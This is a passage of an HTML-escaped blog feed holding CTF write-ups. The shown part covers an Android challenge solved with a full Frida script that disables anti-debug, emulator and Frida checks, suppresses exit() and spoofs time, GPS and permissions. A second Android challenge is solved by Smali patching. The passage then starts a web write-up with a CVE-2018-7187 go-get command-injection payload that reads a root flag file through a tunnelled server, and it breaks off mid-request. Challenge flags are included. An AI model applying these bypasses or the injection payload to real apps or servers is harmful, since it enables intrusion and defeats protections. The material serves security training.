  .filter((e) =&amp;gt; /^FUN_00101(?:270|310|6a0|750)$/.test(e.name))
  .forEach((sym) =&amp;gt; {
    // Replace with stub that returns 0 (success)
    Interceptor.replace(sym.address, new NativeCallback(() =&amp;gt; 0, &quot;int&quot;, []));
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. &lt;strong&gt;Time Manipulation&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Next, we control the time. Every time the app asks for the current time, we return the target timestamp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;System.currentTimeMillis.implementation = () =&amp;gt; {
  return 1754128800 * 1000; // Convert seconds to milliseconds
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. &lt;strong&gt;Location Spoofing&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Then we spoof the GPS coordinates. When the app asks for location, we return the sacred coordinates:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Location.getLatitude.implementation = () =&amp;gt; 30.043801;
Location.getLongitude.implementation = () =&amp;gt; 31.334688;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. &lt;strong&gt;Permission Bypass&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Finally, we bypass the permission system by making the app think we have all required permissions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CtxCompat.checkSelfPermission.implementation = function (ctx, perm) {
  if (perm.includes(&quot;LOCATION&quot;)) return 0; // PERMISSION_GRANTED
  return this.checkSelfPermission(ctx, perm);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;The Complete Exploit&lt;/h2&gt;
&lt;p&gt;Here&apos;s our final Frida script that combines all the bypasses:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// solver.js - The Sacred Myth Destroyer
Java.perform(function () {
  console.log(&quot;[+] === MYTH CTF DYNAMIC BYPASS ===&quot;);

  // 1) Native Layer Exploitation - Disable the bodyguards
  const mods = Process.enumerateModulesSync();
  const vaultMod = mods.find((m) =&amp;gt; m.name.toLowerCase().includes(&quot;vault&quot;));
  if (!vaultMod) {
    console.error(&quot;[-] Could not find a module with &apos;vault&apos; in its name!&quot;);
  } else {
    console.log(&quot;[+] Found native module:&quot;, vaultMod.name);

    // Directly patch anti-analysis functions at assembly level
    const exportsList = Module.enumerateExportsSync(vaultMod.name);
    exportsList
      .filter((e) =&amp;gt; /^FUN_00101(?:270|310|6a0|750)$/.test(e.name))
      .forEach((sym) =&amp;gt; {
        // Replace function with stub that always returns 0 (success)
        Interceptor.replace(
          sym.address,
          new NativeCallback(() =&amp;gt; 0, &quot;int&quot;, [])
        );
      });
  }

  // 2) System Call Interception - Prevent rage quit
  const exitPtr = Module.findExportByName(null, &quot;exit&quot;);
  if (exitPtr) {
    Interceptor.replace(
      exitPtr,
      new NativeCallback(
        (code) =&amp;gt; {
          console.log(&quot;[BYTESAFE] exit(&quot; + code + &quot;) suppressed&quot;);
          // Prevent app from terminating when detection triggers
        },
        &quot;void&quot;,
        [&quot;int&quot;]
      )
    );
  }

  // 3) Space-Time Manipulation
  const SAC_LAT = 30.043801;
  const SAC_LON = 31.334688;
  const TARGET_S = 1754128800; // The chosen timestamp
  const targetMs = TARGET_S * 1000; // Convert to milliseconds

  const MainActivity = Java.use(&quot;asc.wargames.myth.MainActivity&quot;);
  const System = Java.use(&quot;java.lang.System&quot;);
  const Location = Java.use(&quot;android.location.Location&quot;);
  const LocMgr = Java.use(&quot;android.location.LocationManager&quot;);
  const CtxCompat = Java.use(&quot;androidx.core.content.ContextCompat&quot;);
  const ActCompat = Java.use(&quot;androidx.core.app.ActivityCompat&quot;);

  // ––– Anti-debug / emulator / frida bypasses
  MainActivity.checkDebugger.implementation = () =&amp;gt; false;
  MainActivity.checkEmulator.implementation = () =&amp;gt; false;
  MainActivity.checkFrida.implementation = () =&amp;gt; false;

  // ––– Time spoof
  System.currentTimeMillis.implementation = () =&amp;gt; {
    return targetMs;
  };

  // ––– Location spoof
  Location.getLatitude.implementation = () =&amp;gt; SAC_LAT;
  Location.getLongitude.implementation = () =&amp;gt; SAC_LON;
  LocMgr.getLastKnownLocation.overload(&quot;java.lang.String&quot;).implementation =
    function (provider) {
      const loc = Location.$new(provider);
      loc.setLatitude(SAC_LAT);
      loc.setLongitude(SAC_LON);
      loc.setTime(targetMs);
      loc.setAccuracy(1.0);
      console.log(`[LOC] getLastKnownLocation(${provider}) → spoofed`);
      return loc;
    };

  // ––– Permission spoofing
  CtxCompat.checkSelfPermission.implementation = function (ctx, perm) {
    if (perm.includes(&quot;LOCATION&quot;)) return 0;
    return this.checkSelfPermission(ctx, perm);
  };
  ActCompat.checkSelfPermission.overload(
    &quot;android.content.Context&quot;,
    &quot;java.lang.String&quot;
  ).implementation = function (ctx, perm) {
    if (perm.includes(&quot;LOCATION&quot;)) return 0;
    return this.checkSelfPermission(ctx, perm);
  };

  // ––– Hook getFlag
  const jGetFlag = MainActivity.getFlag.overload(&quot;double&quot;, &quot;double&quot;, &quot;long&quot;);
  jGetFlag.implementation = function (lat, lon, timeArg) {
    console.log(`[FLAG] getFlag(${lat}, ${lon}, ${timeArg})`);
    const res = jGetFlag.call(this, SAC_LAT, SAC_LON, targetMs);
    console.log(&quot;[FLAG] →&quot;, res);
    return res;
  };

  // ––– Hook unlockMyth
  MainActivity.unlockMyth.implementation = function () {
    console.log(&quot;[HOOK] unlockMyth()&quot;);
    const f = this.getFlag(SAC_LAT, SAC_LON, targetMs);
    console.log(&quot;[HOOK] flag →&quot;, f);
  };

  console.log(&quot;[+] All hooks in place. Tap &apos;Unlock the Myth&apos;!&quot;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Execution: The Moment of Truth&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Setup&lt;/strong&gt;: Install Frida and connect to your Android device/emulator&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deploy&lt;/strong&gt;: Run the script while starting the Myth app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;frida -U -l solver.js -f asc.wargames.myth
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Activate&lt;/strong&gt;: Tap the &quot;Unlock the Myth&quot; button in the app&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Victory&lt;/strong&gt;: After running our exploit, the flag is displayed in the frida console!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::note[The Flag]
&lt;code&gt;ASCWG{MY7H_15_0wn3d_by_7h3_0n3_wh0_574y3d_7h3_W17ch3r}&lt;/code&gt;
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Deep Dive Analysis - Questions that came across my mind :&apos;D&lt;/h2&gt;
&lt;p&gt;:::note[Analysis Methodology]
These questions explore the technical reasoning behind our exploitation approach and help understand the security implications.
:::&lt;/p&gt;
&lt;h3&gt;Q1: How did we identify all the protection mechanisms?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: Through systematic static and dynamic analysis:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Static Analysis&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Decompiled the APK using jadx or apktool&lt;/li&gt;
&lt;li&gt;Examined MainActivity.java for protection function calls&lt;/li&gt;
&lt;li&gt;Found references to libvault.so native library&lt;/li&gt;
&lt;li&gt;Identified hardcoded coordinates and timestamp values&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Dynamic Analysis&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Used Frida to hook Java methods and observe behavior&lt;/li&gt;
&lt;li&gt;Monitored native function calls and their return values&lt;/li&gt;
&lt;li&gt;Traced location and time API calls&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q2: Why are the native protection functions so easily bypassed?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;strong&gt;Poor implementation choices by the developers&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Predictable export names&lt;/strong&gt;: Functions named &lt;code&gt;FUN_00101270&lt;/code&gt; are auto-generated by disassemblers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No obfuscation&lt;/strong&gt;: Functions are clearly visible in the export table&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Simple return values&lt;/strong&gt;: Functions just return 0/1 for success/failure&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q3: How did we know the exact coordinates and timestamp to spoof?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;strong&gt;Hardcoded values found in the source code&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Found in MainActivity.java (decompiled)
private static final double SACRED_LAT = 30.043801;
private static final double SACRED_LON = 31.334688;
private static final long TARGET_TIMESTAMP = 1754128800;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why this is a security flaw&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hardcoding secrets in the app makes them discoverable through static analysis&lt;/li&gt;
&lt;li&gt;Any reverse engineer can extract these values&lt;/li&gt;
&lt;li&gt;The app should have fetched these from a secure server&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q4: What makes the location and time spoofing so trivial?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;strong&gt;Android&apos;s security model limitations&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Location Spoofing Works Because&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// App calls standard location APIs
Location.getLatitude.implementation = () =&amp;gt; 30.043801;
Location.getLongitude.implementation = () =&amp;gt; 31.334688;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Time Spoofing Works Because&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// App trusts system time
System.currentTimeMillis.implementation = () =&amp;gt; {
  return 1754128800 * 1000;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why this is vulnerable&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apps cannot verify GPS authenticity without additional hardware&lt;/li&gt;
&lt;li&gt;System time can be manipulated by root access or framework hooking&lt;/li&gt;
&lt;li&gt;No cryptographic verification of location/time data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;&quot;The myth was that the app was secure. The reality was that it trusted everyone!&quot;&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Challenge 2 - Double Trouble - When Intent Goes Wrong&lt;/h1&gt;
&lt;p&gt;:::tip[TL;DR - &quot;UUID Generation Gone Wrong!&quot;]
The app generates a random UUID password but has a critical Intent handling bug that causes crashes on successful authentication. We fix the null Intent and extract the password via Smali patching.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Understanding Our Target: The &quot;Double Trouble&quot; App&lt;/h2&gt;
&lt;p&gt;:::warning[The Core Bug]
This challenge presents an Android app with a deceptively simple authentication mechanism that hides a critical flaw in its Intent handling system.
:::&lt;/p&gt;
&lt;h3&gt;App Behavior Analysis&lt;/h3&gt;
&lt;p&gt;The app implements multiple layers of &quot;security&quot;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Dynamic Password Generation&lt;/strong&gt;: Creates a random UUID at runtime&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password Validation&lt;/strong&gt;: Checks user input against generated password&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Launch Counter&lt;/strong&gt;: Tracks app launches for alternative access&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intent Navigation&lt;/strong&gt;: Attempts to launch SecondActivity on success&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crash on Success&lt;/strong&gt;: App crashes when correct password is entered (the bug!)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::caution[Intent Bug]
The main vulnerability lies in the Intent creation logic that passes &lt;code&gt;null&lt;/code&gt; instead of the target activity class.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Code Analysis: What We Need to Understand&lt;/h2&gt;
&lt;p&gt;Let&apos;s examine the key components and vulnerabilities we discovered:&lt;/p&gt;
&lt;h3&gt;1. The Password Generation System (MainActivity.smali)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# In MainActivity onCreate method:
invoke-static {}, Ljava/util/UUID;-&amp;gt;randomUUID()Ljava/util/UUID;  # Generate UUID
move-result-object p1
invoke-virtual {p1}, Ljava/util/UUID;-&amp;gt;toString()Ljava/lang/String;  # Convert to string
move-result-object p1
const/4 v0, 0x0      # Start index 0
const/16 v1, 0x14    # Length 20 (0x14 = 20 in decimal)
invoke-virtual {p1, v0, v1}, Ljava/lang/String;-&amp;gt;substring(II)Ljava/lang/String;  # Take first 20 chars
move-result-object p1
iput-object p1, p0, Lcom/hacking/test/MainActivity;-&amp;gt;v:Ljava/lang/String;  # Store in field &apos;v&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why this is exploitable&lt;/strong&gt;: The password is generated at runtime and stored in a predictable field that we can access through Smali modification.&lt;/p&gt;
&lt;p&gt;:::tip[Smali Analysis]
The key insight is following the data flow: UUID generation → substring → field storage → comparison. This predictable pattern makes the password extractable.
:::&lt;/p&gt;
&lt;h3&gt;2. The Broken Intent System (H0/a.smali)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# The problematic Intent creation
const/4 v1, 0x0  # NULL class - This is the bug!
new-instance v0, Landroid/content/Intent;
invoke-direct {v0, p1, v1}, Landroid/content/Intent;-&amp;gt;&amp;lt;init&amp;gt;(Landroid/content/Context;Ljava/lang/Class;)V

# Should be:
const-class v1, Lcom/hacking/test/SecondActivity;
new-instance v0, Landroid/content/Intent;
invoke-direct {v0, p1, v1}, Landroid/content/Intent;-&amp;gt;&amp;lt;init&amp;gt;(Landroid/content/Context;Ljava/lang/Class;)V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why this crashes&lt;/strong&gt;: Android cannot launch an Intent with a null target class, causing a NullPointerException.&lt;/p&gt;
&lt;p&gt;:::warning[SUSS Error]
This is either a genuine bug or intentional obfuscation. No production app should crash on successful authentication!
:::&lt;/p&gt;
&lt;h3&gt;3. The Counter Bypass Mechanism (SecondActivity.smali)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# In SecondActivity onCreate:
const/16 v0, 0x14           # Generate random number 1-20
invoke-virtual {p1, v0}, Ljava/util/Random;-&amp;gt;nextInt(I)I
add-int/lit8 p1, p1, 0x1    # threshold = random(1-20)

# Get current launch count
const-string v2, &quot;launch_count&quot;
invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences;-&amp;gt;getInt(Ljava/lang/String;I)I
move-result v3

# Check TWO conditions:
if-eqz v4, :cond_0          # If from_password is true, OR
if-lt v3, p1, :cond_1       # If launch_count &amp;gt;= threshold
    goto :goto_0            # Show secret (layout 0x7f0b001d)
else
    invoke-virtual {p0}, Landroid/app/Activity;-&amp;gt;finish()V  # Close activity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why this exists&lt;/strong&gt;: Provides an alternative access method maybe ? , but our Intent fix makes this unnecessary.&lt;/p&gt;
&lt;p&gt;:::note[Alternative Path]
The counter mechanism shows that there are often multiple ways to achieve the same goal in reverse engineering challenges.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploitation Strategy: Fix and Extract&lt;/h2&gt;
&lt;p&gt;:::important
Our approach combines static analysis with dynamic modification to solve both the password extraction and Intent navigation problems.
:::&lt;/p&gt;
&lt;h3&gt;1. &lt;strong&gt;Password Extraction via Logging&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;We inject logging code right after password generation to capture the UUID:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Code injection point&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Right after this line:
iput-object p1, p0, Lcom/hacking/test/MainActivity;-&amp;gt;v:Ljava/lang/String;
# We can add our logging code here because &apos;p1&apos; still contains the password
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. &lt;strong&gt;Intent Fix&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Replace the null class reference with the correct SecondActivity class:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Replace this line:
const/4 v1, 0x0

# With this:
const-class v1, Lcom/hacking/test/SecondActivity;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Execution: The Step-by-Step Solution&lt;/h2&gt;
&lt;p&gt;:::tip[Pro Tip]
Use &lt;code&gt;APKLAP&lt;/code&gt; extension in &lt;code&gt;vscode&lt;/code&gt; for easy smali patching
:::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Decompile the APK&lt;/strong&gt;: Open &lt;code&gt;VsCode&lt;/code&gt; and select the apk using &lt;code&gt;apklap&lt;/code&gt;, wait for it do decompile.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identify the Bug&lt;/strong&gt;: Locate the null Intent creation in H0/a.smali&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extract Password&lt;/strong&gt;: Add logging to MainActivity.smali to capture UUID&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix Intent&lt;/strong&gt;: Replace null with SecondActivity class reference&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Recompile&lt;/strong&gt;: Build and sign and install directly using &lt;code&gt;apklap&lt;/code&gt; with a single button.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execute&lt;/strong&gt;: Run app, read password from logs, enter it, and access SecondActivity and you will get the password as image file.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;The Solution Files&lt;/h2&gt;
&lt;h3&gt;Modified MainActivity.smali (Password Logging)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Add after password storage
iput-object p1, p0, Lcom/hacking/test/MainActivity;-&amp;gt;v:Ljava/lang/String;

# Logging injection
const-string v2, &quot;PASSWORD_DEBUG&quot;
invoke-static {v2, p1}, Landroid/util/Log;-&amp;gt;d(Ljava/lang/String;Ljava/lang/String;)I
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Modified H0/a.smali (Intent Fix)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Replace the null Intent creation
const-class v1, Lcom/hacking/test/SecondActivity;  # Fixed line
new-instance v0, Landroid/content/Intent;
invoke-direct {v0, p1, v1}, Landroid/content/Intent;-&amp;gt;&amp;lt;init&amp;gt;(Landroid/content/Context;Ljava/lang/Class;)V
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Deep Dive Analysis - Questions that came accross my mind :&apos;D&lt;/h2&gt;
&lt;h3&gt;Q1: How did we know the UUID was the password?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: By reading the MainActivity.smali code systematically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# In MainActivity onCreate method:
invoke-static {}, Ljava/util/UUID;-&amp;gt;randomUUID()Ljava/util/UUID;  # Generate UUID
move-result-object p1
invoke-virtual {p1}, Ljava/util/UUID;-&amp;gt;toString()Ljava/lang/String;  # Convert to string
move-result-object p1
const/4 v0, 0x0      # Start index 0
const/16 v1, 0x14    # Length 20 (0x14 = 20 in decimal)
invoke-virtual {p1, v0, v1}, Ljava/lang/String;-&amp;gt;substring(II)Ljava/lang/String;  # Take first 20 chars
move-result-object p1
iput-object p1, p0, Lcom/hacking/test/MainActivity;-&amp;gt;v:Ljava/lang/String;  # Store in field &apos;v&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then in H0/a.smali (click handler):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iget-object v1, p1, Lcom/hacking/test/MainActivity;-&amp;gt;v:Ljava/lang/String;  # Get stored password
invoke-virtual {v0, v1}, Ljava/lang/String;-&amp;gt;equals(Ljava/lang/Object;)Z  # Compare with input
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Methodology&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reverse engineering requires following data flow&lt;/li&gt;
&lt;li&gt;We traced: UUID generation → substring → storage → comparison&lt;/li&gt;
&lt;li&gt;The field &apos;v&apos; clearly holds the password for comparison&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip[Data Flow Analysis]
Always trace how data moves through an application. Understanding the data flow is key to finding exploitation points.
:::&lt;/p&gt;
&lt;h3&gt;Q2: How did we know we could read and print the UUID?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: In Android/Java, we can modify any application&apos;s behavior by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Adding logging calls&lt;/strong&gt;: Android provides &lt;code&gt;Log.d()&lt;/code&gt;, &lt;code&gt;Log.i()&lt;/code&gt; functions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Adding Toast messages&lt;/strong&gt;: &lt;code&gt;Toast.makeText()&lt;/code&gt; for UI display&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smali is modifiable&lt;/strong&gt;: Unlike compiled binaries, Smali is human-readable bytecode&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Why this works&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The UUID generation happens at runtime in onCreate()&lt;/li&gt;
&lt;li&gt;We can inject code RIGHT AFTER generation but BEFORE use&lt;/li&gt;
&lt;li&gt;Android logging system is always available to applications&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::important[Injection Timing]
The key is injecting code at the right moment - after the password is generated but before it&apos;s used for comparison.
:::&lt;/p&gt;
&lt;h3&gt;Q3: Is setting Intent to null a common practice?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;strong&gt;ABSOLUTELY NOT&lt;/strong&gt; - this is either:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;A bug in the original app&lt;/strong&gt; - developer forgot to specify target activity&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intentional obfuscation&lt;/strong&gt; - to make reverse engineering harder&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anti-tampering mechanism&lt;/strong&gt; - app designed to crash on &quot;success&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Normal Intent creation looks like&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Correct way:
const-class v1, Lcom/package/TargetActivity;
new-instance v0, Landroid/content/Intent;
invoke-direct {v0, p1, v1}, Landroid/content/Intent;-&amp;gt;&amp;lt;init&amp;gt;(Landroid/content/Context;Ljava/lang/Class;)V

# What we found (WRONG):
const/4 v1, 0x0  # NULL class
new-instance v0, Landroid/content/Intent;
invoke-direct {v0, p1, v1}, Landroid/content/Intent;-&amp;gt;&amp;lt;init&amp;gt;(Landroid/content/Context;Ljava/lang/Class;)V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;This is suspicious because&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No legitimate app would intentionally crash on successful authentication&lt;/li&gt;
&lt;li&gt;It suggests the challenge creator wanted to test our debugging skills&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q4: How did we know changing null to SecondActivity would work?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;strong&gt;Logical deduction + file structure analysis&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;File enumeration&lt;/strong&gt;: We saw &lt;code&gt;SecondActivity.smali&lt;/code&gt; exists in the APK&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intent analysis&lt;/strong&gt;: The Intent was setting &lt;code&gt;&quot;from_password&quot; = true&lt;/code&gt; extra&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SecondActivity logic&lt;/strong&gt;: Reading SecondActivity.smali showed it checks for &lt;code&gt;&quot;from_password&quot;&lt;/code&gt; extra&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Common Android patterns&lt;/strong&gt;: Activities are typically organized as flows&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Evidence from SecondActivity.smali&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# SecondActivity checks for this exact extra:
const-string v5, &quot;from_password&quot;
invoke-virtual {v4, v5, v1}, Landroid/content/Intent;-&amp;gt;getBooleanExtra(Ljava/lang/String;Z)Z
move-result v4
if-eqz v4, :cond_0  # If from_password is true, show secret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Reasoning&lt;/strong&gt;: If the Intent sets &lt;code&gt;from_password=true&lt;/code&gt;, and SecondActivity checks for this, then SecondActivity is clearly the intended destination.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;&quot;The trouble was doubled: random passwords AND broken navigation. But every bug is just another door waiting to be opened!&quot;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Aswan CTF Qualification 2025 Web Writeups</title><link>https://ymuu.me/posts/aswanctf-2025-qualifications/aswan-ctf-web-writeups/</link><guid isPermaLink="true">https://ymuu.me/posts/aswanctf-2025-qualifications/aswan-ctf-web-writeups/</guid><description>Aswan CTF Qualification 2025 Web Writeups</description><pubDate>Sat, 12 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h1&gt;
&lt;p&gt;:::caution
#FreePalastine
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ه حل التحديات الويب ال كانت موجودة حليتها انا و شادو
فيها شوية افكار حلوة
ممكن يكون في غلطات بسيطة في المصطلحات 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://white-shadoo.github.io/&quot;&gt;Shadoo&apos;s Blog&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;L33t C0d3r&lt;/h1&gt;
&lt;p&gt;You can bypass the app.py check by using alternative number representations that equal 1337:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using octal: &lt;code&gt;02471&lt;/code&gt; (octal for 1337)
&lt;ul&gt;
&lt;li&gt;In app.py: Python&apos;s &lt;code&gt;int(&quot;02471&quot;)&lt;/code&gt; interprets this as decimal 2471&lt;/li&gt;
&lt;li&gt;In server.cpp: strtol(&quot;02471&quot;, nullptr, 0) interprets this as octal 2471 = decimal 1337&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./Aswan%20CTF%20Web%20Writeups/L33t%20C0d3r/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;YAO{m4y_th3_b35t_l33t_w1n5}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Gogeta&lt;/h1&gt;
&lt;p&gt;in the DockerFile: &lt;code&gt;golang:1.9.4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;with a little search we can see that this version is very old and has a critical &lt;strong&gt;CVE-2018-7187&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;here is a POC &lt;a href=&quot;https://github.com/golang/go/issues/23867&quot;&gt;https://github.com/golang/go/issues/23867&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;add this to &lt;code&gt;/tmp/index.html&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;go-import&quot; content=&quot;60b5a867a1af82011f038b1fa6b2f2fb.serveo.net/tmp hg --config=hooks.pre-clone=cat${IFS}/root/flag.txt${IFS}$USER;echo${IFS}https://&amp;gt;/dev/null&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;just setup a local server using python in the root directory and use serveo to host it online&lt;/p&gt;
&lt;p&gt;&lt;code&gt;python -m http.server 1337&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ssh -R 80:localhost:1337 serveo.net&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;put the ling generated from serveo into the payload &lt;code&gt;index.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;request this using burp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /submit HTTP/1.1
Host: 34.65.29.51:3280
Content-Length: 19
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://34.65.29.51:3280
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
